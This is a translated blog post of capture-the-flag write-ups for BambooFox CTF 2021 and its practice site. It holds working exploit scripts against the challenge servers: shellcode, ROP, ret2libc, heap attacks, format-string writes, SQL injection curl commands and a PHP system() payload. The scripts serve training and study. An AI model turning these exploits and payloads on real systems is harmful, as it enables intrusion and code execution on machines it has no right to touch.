BambooFox CTF Writeups

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This article contains content from BambooFox CTF 2021 and BambooFox Practice Site. It mainly records some meaningful problems.

BambooFox CTF 2021

Calc.exe Online

Utilize the characteristic in PHP where a string can be used as a function name to execute, and then use functions like base_convert, decbin, etc., to piece it together.

SSRFrog

http://chall.ctf.bamboofox.tw:9453/

The key point of this problem is to make url.length !== new Set(url).size and let it access an internal website to get the Flag (SSRF). The solution is to use some special Unicode characters to bypass it. You can use the tool domain-obfuscator created by the problem author to find usable characters. You might need to try several times. A usable payload is url=htTp:/ᵗℍℯ。Ⓒ⁰ₒ₀o⓪ˡ-fl㊹4ᵍ.ₛₑⓡᵛᵉℝ.㏌teʳ㎁L.

ヽ(#`Д´)ノ

http://chall.ctf.bamboofox.tw:9487/

This problem is very simple. Using the array generated by the query string can easily bypass the first two checks, and at the eval(print_r($🐱,1)) part, just close the string and ignore the extra parts, such as system("ls"))?>.

Complete URL (base64):

aHR0cDovL2NoYWxsLmN0Zi5iYW1ib29mb3gudHc6OTQ4Ny8/JUUzJTgzJUJEKCUyMyU2MCVEMCU5NCVDMiVCNCklRUYlQkUlODklNUIlNUQ9c3lzdGVtKCUyMmNhdCUyMC9mbGFnX2RlNDI1MzdhN2RkODU0ZjRjZTI3MjM0YTEwM2Q0MzYyJTIyKSk/JTNF

Time to Draw

http://chall.ctf.bamboofox.tw:8787/ (down)

The key is prototype pollution. Use the issue that /api/draw does not check the __proto__ parameter to modify Object.prototype, then construct a token to get the flag.

Yet another login page

http://chall.ctf.bamboofox.tw:9527/

It's easy to find an SQL Injection vulnerability. The admin password can be easily obtained: curl http://chall.ctf.bamboofox.tw:9527/login --data "username='union select password,1 from users--", but this does not get the flag.

Testing reveals that when the password is incorrect, there is a Python format string that can be exploited:

Normal: curl http://chall.ctf.bamboofox.tw:9527/login --data "username='union select '{0}','pw' from users--&password=pw" -> Hello {0} 。:.゚ヽ(*´∀``)ノ゚.:。

Incorrect password: curl http://chall.ctf.bamboofox.tw:9527/login --data "username='union select '{0}','pw' from users--&password=pwa" -> Wrong password for <main.User object at 0x7f9fcd537160>, login from <IP REMOVED>.

Using this, you can find the app's routes: {0.__init__.__globals__[app].url_map}, which shows a /hey_guys_this_is_the_flag_route mapped to the get_flag function. Directly accessing that path does not give the flag.

Later, I was reminded that Python functions have a __code__ object that can get bytecode, such as 0.__init__.__globals__[get_flag].__code__, which contains co_code and co_consts that can be used. You can read the bytecode to solve the flag.

However, I was lazy and researched how to convert it back to readable Python, then used the following script:

attrs = [
    "co_argcount",
    "co_cellvars",
    "co_code",
    "co_consts",
    "co_filename",
    "co_firstlineno",
    "co_flags",
    "co_freevars",
    "co_kwonlyargcount",
    "co_lnotab",
    "co_name",
    "co_names",
    "co_nlocals",
    "co_posonlyargcount",
    "co_stacksize",
    "co_varnames",
]

import requests


def get_attr(fnname: str, attr: str):
    u = "' union select '{0.__init__.__globals__" + fnname + "." + attr + "}','pw';--"
    resp = requests.post(
        "http://chall.ctf.bamboofox.tw:9527/login",
        data={
            "username": u,
            "password": "pwa",
        },
    )
    a = resp.text.split("for ")[-1].split(", login")[0]
    try:
        return eval(a)
    except:
        return a


def get_path(path):
    fn_code = {}
    for v in attrs:
        fn_code[v] = get_attr(path, v)
    return fn_code


get_flag = get_path("[get_flag].__code__")
get_flag_lambda = get_path("[get_flag].__code__.co_consts[25]")


import xdis

l = xdis.codetype.Code38(**get_flag_lambda)
print(l)
get_flag["co_consts"] = (
    None,
    247,
    254,
    216,
    225,
    234,
    243,
    244,
    245,
    228,
    232,
    235,
    166,
    184,
    "give",
    "me",
    "flag",
    0,
    3,
    1,
    -3,
    2,
    "\x87",
    "flag{",
    "",
    l,
    "get_flag.<locals>.<lambda>",
    "}",
    "NO FLAG FOR YOU",
)
f = xdis.codetype.Code38(**get_flag)
print(f)

import uncompyle6

print(uncompyle6.code_deparse(l))
print(uncompyle6.code_deparse(f))

After decompiling, you can get the result, and finding the flag becomes very simple:

magic = [247, 254, 216, 225, 234, 243, 216, 244, 243, 245, 216, 228, 232, 232, 235, 166, 184]
keys = [request.args.get('give'), request.args.get('me'), request.args.get('flag')]
if keys[0] == str(magic[3]):
    if keys[1] == str(magic[(-3)]):
        if keys[2] == '\x87':
            return 'flag{' + ''.join(map(lambda n: chr(n ^ ord(keys[2])), magic)) + '}'

Flag Checker

Verilog flag checker, slightly brute-forced with Python to get many solutions, then find the most likely one:

target = [
    182,
    199,
    159,
    225,
    210,
    6,
    246,
    8,
    172,
    245,
    6,
    246,
    8,
    245,
    199,
    154,
    225,
    245,
    182,
    245,
    165,
    225,
    245,
    7,
    237,
    246,
    7,
    43,
    246,
    8,
    248,
    215,
]

def magic(inp, val):
    if val == 0b00:
        return ((inp >> 3) | (inp << 5)) & 0xFF
    elif val == 0b01:
        return ((inp << 2) | (inp >> 6)) & 0xFF
    elif val == 0b10:
        return (inp + 0b110111) & 0xFF
    elif val == 0b11:
        return inp ^ 55


def chall(x):
    ox = x
    x = magic(x, ox & 0b11)
    x = magic(x, (ox >> 2) & 0b11)
    x = magic(x, (ox >> 4) & 0b11)
    x = magic(x, (ox >> 6) & 0b11)
    return x


def bruteforce(target):
    for c in range(256):
        if chall(c) == target:
            if 30 <= c <= 127 and c != ord(" "):
                yield chr(c)


from itertools import product

ans = [list(bruteforce(x)) for x in target]
for x in product(*ans):
    print("".join(x))

Flag Checker Revenge

The tricky part of this problem is that the check uses many layers of recursion, so using angr to solve it is simpler:

import angr
import claripy

input_len = 43
flag_chars = [claripy.BVS("flag_%d" % i, 8) for i in range(input_len)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b"\n")])

proj = angr.Project("./flag_checker2")
st = proj.factory.full_init_state(
    args=["./engine"], add_options=angr.options.unicorn, stdin=flag
)
for k in flag_chars:
    st.solver.add(k < 0x7F)
    st.solver.add(k > 0x20)

sm = proj.factory.simulation_manager(st)
sm.run()
y = []
for x in sm.deadended:
    if b"win" in x.posix.dumps(1):
        y.append(x)
valid = y[0].posix.dumps(0)
print(valid)
bt = [chr(valid[i]) for i in range(0, len(valid))]
print("".join(bt))

The Vault

WASM challenge, directly trying all 0000~9999 in the browser doesn't work, so use wasm2c to convert it to C, then compile and load it into IDA to see the password is p3k0.

wasm2c main.wasm -o test.c
gcc test.c -o test.o -Wl,--unresolved-symbols=ignore-in-object-files

orz Network

It can be found that some Diffie–Hellman primes pp are very weak because p1p-1 is very smooth. So directly calculate the discrete log for those weak ones, then use BFS to select 419 edges to form a spanning tree as the answer:

from pwn import *
import hashlib
import sys
from sage.all import factor, Zmod, discrete_log, power_mod


def proof_of_work(prefix, difficulty):
    zeros = "0" * difficulty

    def is_valid(digest):
        bits = "".join(bin(i)[2:].zfill(8) for i in digest)
        return bits[:difficulty] == zeros

    i = 0
    while True:
        i += 1
        s = prefix + str(i)
        if is_valid(hashlib.sha256(s.encode()).digest()):
            return i


def solve(p, g, a, b):
    fs = factor(p - 1)
    mxp = max([x[0] for x in fs])
    if mxp > 1000000:
        # Not smooth enough
        return
    Z = Zmod(p)
    n_a = discrete_log(Z(a), Z(g))
    return int(Z(b) ** n_a)


def pr(a, b):
    return (a, b) if a < b else (b, a)


p = remote("chall.ctf.bamboofox.tw", 10369)
p.recvuntil("sha256(")
prefix = p.recv(16).decode()
result = proof_of_work(prefix, 20)
p.sendlineafter(b"Answer:", str(result))
msg = p.recvline().decode().strip()
words = msg.split(" ")
n_computers = int(words[2])
n_connections = int(words[5])
print(n_computers, n_connections)
p.recvuntil(b"lines):")  # Press Enter to print all connection logs (# lines):
p.sendline("")  # Enter

connected = {}
for i in range(n_connections):
    established = p.recvline().decode().strip()
    ews = established.split(" ")
    alice_id = int(ews[5][1:])
    bob_id = int(ews[9][1:])
    dh = p.recvline().decode().strip()
    dhs = dh.split(" ")
    modulus = int(dhs[4][:-1])
    base = int(dhs[7][:-1])
    alice_pub = int(dhs[12][:-1])
    bob_pub = int(dhs[17])  # No "," at the end of Bob's public key...
    sec = solve(modulus, base, alice_pub, bob_pub)
    if sec != None:
        connected[pr(alice_id, bob_id)] = sec

secret_keys = []
visited = [False] * (n_computers + 1)

queue = [1]
visited[1] = True
parent = {}
while len(queue) > 0:
    cur = queue.pop(0)
    for i in range(1, n_computers + 1):
        if i == cur:
            continue
        k = pr(cur, i)
        if k in connected and not visited[i]:
            print(f"{cur} -> {i}")
            visited[i] = True
            parent[i] = cur
            secret_keys.append(connected[k])
            queue.append(i)

assert all(visited[1:])


def print_path(x):
    def helper(y):
        print(f" <- {y}", end="")
        if y != 1:
            helper(parent[y])

    print(x, end="")
    if x != 1:
        helper(parent[x])
    print()


for i in range(1, n_computers + 1):
    print_path(i)

ans = " ".join(map(str, sorted(secret_keys)))
p.sendlineafter(
    b"Enter a list of 419 secret keys you've stolen, separated by whitespace characters:",
    ans,
)
print(p.recvall().decode())

I was just one small bug away from solving this problem at the time...

train

Magic

This is a simple buffer overflow problem, but I was slightly tricked.

First, it randomly xors the string length with strlen, but using \0 can bypass it, and scanf will read even \0, so changing the ret to 0x804860D will get a shell.

However, I kept failing initially, later realizing that 0x804860D's 0D represents \r (Carriage Return), which scanf treats as a newline. So, jumping to another place like 0x804860E works.

from pwn import *

# p = process("./magic")
p = remote("bamboofox.cs.nctu.edu.tw", 10000)
sh = 0x804860D
p.sendlineafter(b"Give me your name(a-z): ", "kirito")
p.sendlineafter(
    b"Give me something that you want to MAGIC: ",
    b"a" * (0x44)
    + b"\x00" * 4
    + p32(sh + 1),  # !!!! scanf will ignore 0d, as 0d = "\r"
)
p.interactive()

Although this is a simple problem, I learned that 0D=\r has an impact.

Monkey1

Use printf to write to the local variable banana. The required position might need to be found using gdb. The code is placed together with the next problem.

Monkey2

Same problem, but this time to get a shell. My method is to write /bin/sh somewhere and call system, as system is available in the GOT. So, read it out directly.

from pwn import *

# p = process("./monkey")
p = remote("bamboofox.cs.nctu.edu.tw", 11000)


def printf(s: bytes):
    p.sendlineafter(b"Please enter your choice!\n", "2")
    p.sendlineafter(b"I will print it out.\n", s)
    return p.recvline()


def change_name(s: bytes):
    p.sendlineafter(b"Please enter your choice!\n", "1")
    p.sendline(s)


def write_byte(addr: int, val: int):
    change_name(p64(addr))
    if val > 0:
        printf(b"%0" + str(val).encode() + b"d%274$hhn")
    else:
        printf(b"%274$hhn")


def write_int(addr: int, val: int):
    while val > 0:
        # print(f"write {hex(val & 0xff)} to {hex(addr)}")
        write_byte(addr, val & 0xFF)
        val >>= 8
        addr += 1


def read_string(addr: int):
    change_name(p64(addr))
    result = printf(b"%274$sc8763c8763")
    return result.split(b"c8763c8763")[0]


def read_dword(addr: int, deep=1):
    if deep == 4:
        return 0
    r = int.from_bytes(read_string(addr)[:4], byteorder="little")
    return r if r != 0 else ((read_dword(addr + 1, deep + 1) & 0xFFFFFF) << 8)


# FLAG 1
target_banana = 0x3132000A
banana_addr = int(printf(b"%269$p").decode().strip(), 16) + 4
write_int(banana_addr, target_banana)
p.sendlineafter(b"Please enter your choice!\n", "3")
print(p.recvline().decode())

# FLAG 2 (Shell)
elf = ELF("./monkey")
system = read_dword(elf.got["system"])
ret = banana_addr + 0x28
write_int(ret, system)
binsh = 0x804A064  # a padding in bss
write_int(binsh, int.from_bytes(b"/bin/sh\x00a", byteorder="little"))
write_int(ret + 8, binsh)
p.sendlineafter(b"Please enter your choice!\n", "5")
p.interactive()

However, the content of FLAG 2 suggests it is related to GOT hijacking. I guess another method is to change strlen to system, then input /bin/sh when renaming, which should also work. But this requires writing the address in one go, not byte by byte like I did.

ROP

Just follow the instructions to piece together a ROP Chain. I used: 1,10,9,3,3,12,4,12,2,2,8,8,8,8,8,0.

orw

Cannot use shell directly, only write null-free shellcode. Although using pwntools' shellcraft is easy, I wrote some asm for practice.

from pwn import *

context.arch = "x86"

code = f"""
xor eax, eax
mov ax, 0x{b'ag'[::-1].hex()}
push eax
mov eax, 0x{b'f/fl'[::-1].hex()}
push eax
mov eax, 0x{b'e/ct'[::-1].hex()}
push eax
mov eax, 0x{b'/hom'[::-1].hex()}
push eax

xor eax, eax
mov al, SYS_write
mov bl, 1
mov ecx, esp
mov dl, 20
int 0x80

xor eax, eax
mov al, SYS_open
mov ebx, esp
xor ecx, ecx # O_RDONLY == 0
int 0x80

mov ebx, eax
mov al, SYS_read
mov ecx, esp
xor edx, edx
mov dl, 0xff
int 0x80

xor eax, eax
mov al, SYS_write
mov bl, 1
mov ecx, esp
mov dl, 0xff
int 0x80
"""
sc = asm(code)
print(disasm(sc))
assert b"\0" not in sc
print(run_shellcode(sc).recvall())

p = remote("bamboofox.cs.nctu.edu.tw", 11100)
p.sendlineafter(b"Submit your shellcode here:", sc)
print(p.recvall())

For syscall table, I recommend: Linux System Call Table

BTW, using shellcraft is very simple: shellcraft.cat(b'/home/ctf/flag')

orw64

Same as the previous problem, but x64.

from pwn import *

context.arch = "amd64"

code = f"""
xor rax, rax
mov rax, 0x{b'f/flag--'[::-1].hex()}
shl rax, 16
shr rax, 16
push rax
mov rax, 0x{b'/home/ct'[::-1].hex()}
push rax

xor rax, rax
mov al, 1
mov rdi, rax
mov rsi, rsp
mov al, 20
mov rdx, rax
mov al, SYS_write
syscall

xor rax, rax
mov rdi, rsp
xor rsi, rsi
mov al, SYS_open
syscall

mov rdi, rax
mov rsi, rsp
mov dl, 0xff
xor rax, rax # SYS_read == 0
syscall

xor rax, rax
mov al, 1
mov rdi, rax
mov rsi, rsp
mov dl, 0xff
mov al, SYS_write
syscall
"""
sc = asm(code)
print(disasm(sc))
assert b"\0" not in sc
print(run_shellcode(sc).recvall())

p = remote("bamboofox.cs.nctu.edu.tw", 11101)
p.sendlineafter(b"Submit your shellcode here:", sc)
print(p.recvall())

ret2libc

Basic ret2libc, even the address is given.

from pwn import *

libc = ELF("./libc.so.6")
p = remote("bamboofox.cs.nctu.edu.tw", 11002)
# libc = ELF("/lib32/libc.so.6")
# p = gdb.debug("./ret2libc")

p.recvuntil(b'The address of "/bin/sh" is ')
binsh = int(p.recvline().strip().decode(), 16)
p.recvuntil(b'The address of function "puts" is ')
puts = int(p.recvline().strip().decode(), 16)

libc_base = puts - libc.sym["puts"]
log.info(f"libc base: {hex(libc_base)}")
system = libc_base + libc.sym["system"]
log.info(f"system: {hex(system)}")

p.sendline(b"a" * (0x14 + 4 + 8) + p32(system) + b"a" * 4 + p32(binsh))
p.interactive()

RSA

It can be found that the public key NN is only 220 bits, so either factor it yourself or check Factor DB. I used the latter. Combining RsaCtfTool can conveniently generate a private key: python RsaCtfTool.py --publickey pub.pem --private --attack factordb, then use openssl rsautl -decrypt -inkey priv.pem -in aeskey.rsa.enc -out key to get the AES key.

However, the AES part took me longer because directly using openssl enc -aes128 -d -in flag.jpg.aes.enc -out flag.jpg -pass 'file:key' didn't work. Later, I found in this issue that OpenSSL changed the hash algorithm for generating keys from passwords. Before 1.0.2, it used md5, and after 1.1.0, it changed to sha256.

So, I checked my version and found it was indeed the new one. Adding -md md5 worked: openssl enc -aes128 -d -in flag.jpg.aes.enc -out flag.jpg -md md5 -pass 'file:key'.

RSA2

It can be found that the RSA modulus is very small (N2200N\leq2^{200}), so just brute force factor it. The last round's wiener attack can be completed using RsaCtfTool's implementation.

Another point to note is that Ruby's public_encrypt uses PKCS1 padding, so after decryption, remember to remove the padding before returning the correct answer.

from pwn import *
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Util.Padding import unpad
from sage.all import factor
import base64
import wiener  # Copied and modified from RsaCtfTool

P = remote("bamboofox.cs.nctu.edu.tw", 11200)


def pkcs1_unpad(text):
    if len(text) > 0 and text[0] == 2:
        pos = text.find(b"\x00")
        if pos > 0:
            return text[pos + 1 :]
    return None


for i in range(101):
    print(f"Round {i}")
    if i < 100:
        P.recvuntil(b"Round (")
    P.recvuntil(b"-----BEGIN PUBLIC KEY-----")
    content = P.recvuntil(b"-----END PUBLIC KEY-----", drop=True)
    pubkey = RSA.import_key(
        b"-----BEGIN PUBLIC KEY-----" + content + b"-----END PUBLIC KEY-----"
    )
    P.recvuntil(b"secrect msg :")
    ciphertext = base64.b64decode(P.recvline().strip())
    if i < 100:
        fs = factor(pubkey.n)
        assert len(fs) == 2
        p = int(fs[1][0])
        q = int(fs[0][0])
        d = pow(pubkey.e, -1, (p - 1) * (q - 1))
        plaintext = long_to_bytes(pow(bytes_to_long(ciphertext), d, pubkey.n))
    else:
        # wiener
        priv = wiener.WienerAttack(pubkey.n, pubkey.e)
        plaintext = long_to_bytes(pow(bytes_to_long(ciphertext), priv.d, pubkey.n))
        p = max(priv.p, priv.q)
        q = min(priv.p, priv.q)
    P.sendlineafter(b"msg :", pkcs1_unpad(plaintext))
    P.sendlineafter(b"p (decimal) :", str(p))
    P.sendlineafter(b"q (decimal) :", str(q))

print(P.recvall().decode())

AIS3 web 1

LFI, use php://filter to read the file.

I Love C

Input /bin/sh when entering the name and overwrite max_len (use \0 to bypass length check), then overflow to ret, ROP to puts to leak the GOT table address and get the libc address.

Then, return to the start of main once more, overflow again, but this time to system(name).

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "x86"

elf = ELF("./lovec")
if args["REMOTE"]:
    libc = ELF("./libc.so.6")
    p = remote("bamboofox.cs.nctu.edu.tw", 11003)
else:
    libc = ELF("/lib32/libc.so.6")
    p = process("./lovec")

p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff")
p.sendlineafter(b"Please vote for the programming language you love the most:", "1")
p.sendafter(
    b"Cool! And why did you like it?",
    b"a" * 41 + flat([elf.sym["puts"], elf.sym["main"], elf.got["puts"]]),
)
p.recvuntil(b"nice day!\n")

libc_base = int.from_bytes(p.recv(4), byteorder="little") - libc.sym["puts"]
log.info(f"libc base: {hex(libc_base)}")
system = libc_base + libc.sym["system"]

p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff")
p.sendlineafter(b"Please vote for the programming language you love the most:", "1")
p.sendafter(
    b"Cool! And why did you like it?",
    b"a" * 33 + flat([system, 0, elf.sym["name"]]),
)
p.recvuntil(b"nice day!\n")

log.info(f"shell:")
p.interactive()

I Love C++

Similar to the previous problem, but understand how C++ functions are called, e.g., std::cout << "test"; is actually called like operator<<(std::cout, "test");. Look at the assembly to see how parameters are handled, then leak libc and call system(name).

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "x86"

elf = ELF("./lovecpp")
if args["REMOTE"]:
    libc = ELF("./libc6-i386_2.19-0ubuntu6.15_amd64.so")
    p = remote("bamboofox.cs.nctu.edu.tw", 11004)
else:
    libc = ELF("/lib32/libc.so.6")
    p = process("./lovecpp")

cout = elf.sym["_ZSt4cout"]
operator_ll = elf.sym["_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc"]

p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff\n")
p.sendlineafter(b"Please vote for the programming language you love the most:", "1")
p.sendlineafter(
    b"Cool! And why did you like it?",
    b"a" * 41 + flat([operator_ll, elf.sym["main"], cout, elf.got["atoi"]]),
)
p.recvuntil(b"nice day!\n")

libc_base = int.from_bytes(p.recv(4), byteorder="little") - libc.sym["atoi"]
log.info(f"libc base: {hex(libc_base)}")
system = libc_base + libc.sym["system"]

p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff\n")
p.sendlineafter(b"Please vote for the programming language you love the most:", "1")
p.sendafter(
    b"Cool! And why did you like it?",
    b"a" * 33 + flat([system, 0, elf.sym["name"]]) + b"\n",
)
p.recvuntil(b"nice day!\n")

log.info(f"shell:")
p.interactive()

bamboobox1

This is a heap problem. The goal is to modify the function pointers block created by malloc at the start, as it calls the functions in it on exit, and there is a magic function to read the flag. The vulnerability is that it does not check the length when modifying, so if the modification length exceeds the addition length, there is a heap overflow.

The libc file can be obtained from the second problem, version 2.19-0ubuntu6.13_amd64. It must be patched with patchelf to debug locally.

This problem uses House Of Force. The method is to first change the top chunk's size to the maximum value to avoid using mmap when malloc a large chunk, then use a large value to overflow the address to a lower position, such as the function pointers. Then, malloc a new chunk, which will be the same place as before, so you can modify that part of the memory.

For detailed introduction, I recommend: house_of_force.c

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
elf = ELF("./bamboobox")
# p = process("./bamboobox")  # Libc and intepreter patched to 2.19-0ubuntu6.13_amd64
p = remote("bamboofox.cs.nctu.edu.tw", 11005)


def add_item(data, sz=None):
    if sz == None:
        sz = len(data)
    p.sendlineafter(b"choice:", "2")
    p.sendlineafter(b"name:", str(sz))
    p.sendafter(b"item:", data)


def change_item(idx, data, sz=None):
    if sz == None:
        sz = len(data)
    p.sendlineafter(b"choice:", "3")
    p.sendlineafter(b"item:", str(idx))
    p.sendlineafter(b"name:", str(sz))
    p.sendafter(b"item:", data)


magic = elf.sym["magic"]
add_item(b"a" * 64)  # Offset to top chunk size = 64 + 8 = 72
change_item(
    0, b"a" * 72 + p64((1 << 64) - 1)
)  # Overwrite top chunk size to max, so that malloc won't use mmap
add_item(b"\n", -0x70 - 0x10)  # Offset from top chunk to function list
add_item(p64(0) + p64(magic))  # Newly malloced memory is function list
p.sendlineafter(b"choice:", "5")
print(p.recvall())

bamboobox2

Same problem, but this time you need to get a shell.

Using Unlink method can modify the first chunk pointed by the pointer, then use it to read atoi@got to get the libc location, then change GOT to system and input /bin/sh to get a shell.

For detailed introduction, I recommend: unsafe_unlink.c

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
elf = ELF("./bamboobox")
libc = ELF("./libc6_2.19-0ubuntu6.13_amd64/lib/x86_64-linux-gnu/libc.so.6")
# p = process("./bamboobox")  # Libc and intepreter patched to 2.19-0ubuntu6.13_amd64
p = remote("bamboofox.cs.nctu.edu.tw", 11005)


def add_item(data, sz=None):
    if sz == None:
        sz = len(data)
    p.sendlineafter(b"choice:", "2")
    p.sendlineafter(b"name:", str(sz))
    p.sendafter(b"item:", data)


def change_item(idx, data, sz=None):
    if sz == None:
        sz = len(data)
    p.sendlineafter(b"choice:", "3")
    p.sendlineafter(b"item:", str(idx))
    p.sendlineafter(b"name:", str(sz))
    p.sendafter(b"item:", data)


def remove_item(idx):
    p.sendlineafter(b"choice:", "4")
    p.sendlineafter(b"item:", str(idx))


# PS: normal chunk size = malloc size + header size
box = 0x6020C8
malloc_size = 0x100
add_item(b"first chunk", malloc_size)
add_item(b"second chunk", malloc_size)
change_item(
    0,
    # fake freed chunk in first chunk data area
    p64(0)  # prev size
    + p64(malloc_size + 1)  # size (prev_inuse)
    + p64(box - 3 * 8)  # fd, P->fd->bk == P
    + p64(box - 2 * 8)  # bk, P->bk->fd == P
    + b"a" * (malloc_size - 8 * 4)
    # second chunk header
    + p64(malloc_size) # prev size
    + p64(malloc_size + 16) # size (not prev_inuse)
)
remove_item(1)
# now box[0] = box - 3 * 8 (because BK->fd = FD)
change_item(0, b"a" * 24 + p64(elf.got["atoi"]))
# now box[0] = atoi@got
p.sendlineafter(b"choice:", "1")
p.recvuntil(b"0 : ")
libc_base = int.from_bytes(p.recv(6), byteorder="little") - libc.sym["atoi"]
log.info(f"libc base: {hex(libc_base)}")
change_item(0, p64(libc_base + libc.sym["system"]))  # overwrite atoi@got to system
p.sendlineafter(b"choice:", "/bin/sh")
p.interactive()

2020 Fall CSC Course

I didn't actually attend this course, just practiced on my own

basic_lfi

Use php://filter and base64 to read flag.php.

image_upload

All file extension checks are done on the front end, so disable it and upload your own PHP shell. After getting the shell, you will find the flag file in the root directory is root permission, but there is a suid binary that can be used to read the file.

cmdi_2

Blocked ;, &, |, four symbols, and does not print the output. Use ${IFS} to bypass spaces, use `cmd` to execute commands without &&, ||, and ;, and use a server to send data back to see the output.

I used curl to upload the file and see the flag.

Shellcode

It will directly execute your shellcode but will randomly jump to a distance of 0~255 from the start. This can be bypassed by filling with nop (\x90).

Note

No NX, has Canary, so leak Canary, write shellcode, and return to it. Stack Address is given at the start, so it's not a problem.

from pwn import *

context.arch = "amd64"

# p = process("./note")
p = remote("bamboofox.cs.nctu.edu.tw", 12030)
p.recvuntil(b"Gift ")
text_addr = int(p.recvline().decode().strip(), 16)
print(hex(text_addr))
p.sendlineafter(b"How long is your name: ", str(0x138 + 1))
p.sendlineafter(b"Please input your name: ", b"a" * 0x138)
p.recvuntil(b"aaaaa\n")
canary = int.from_bytes(b"\x00" + p.recv(7), byteorder="little")
p.sendlineafter(b"How long is your title: ", str(0x138 + 8 + 8 + 8 + 1))
p.sendlineafter(
    b"Please input title: ", b"a" * 0x138 + p64(canary) + b"a" * 8 + p64(text_addr)
)
p.sendlineafter(b"Please input message: ", asm(shellcraft.sh()))
p.interactive()

oob1

Use the characteristic that it does not check negative index to leak the admin's pin, so you can log in successfully.

from pwn import *

# p = process("./oob1")
p = remote("bamboofox.cs.nctu.edu.tw", 12011)
p.sendlineafter(b"User ID: ", "-4")
p.sendlineafter(b"PIN: ", "1")
p.recvuntil(b"Logging to [")
admin_pin = int.from_bytes(p.recv(4), byteorder="little")
p.sendlineafter(b"User ID: ", "0")
p.sendlineafter(b"PIN: ", str(admin_pin))
p.interactive()

oob3

Similar to the previous problem, but change the GOT to call an existing function that calls a shell.

from pwn import *

# p = process("./oob3")
p = remote("bamboofox.cs.nctu.edu.tw", 12013)

p.sendlineafter(b"User ID: ", "-19")
p.sendlineafter(b"Nickname", p64(0x400924))
p.interactive()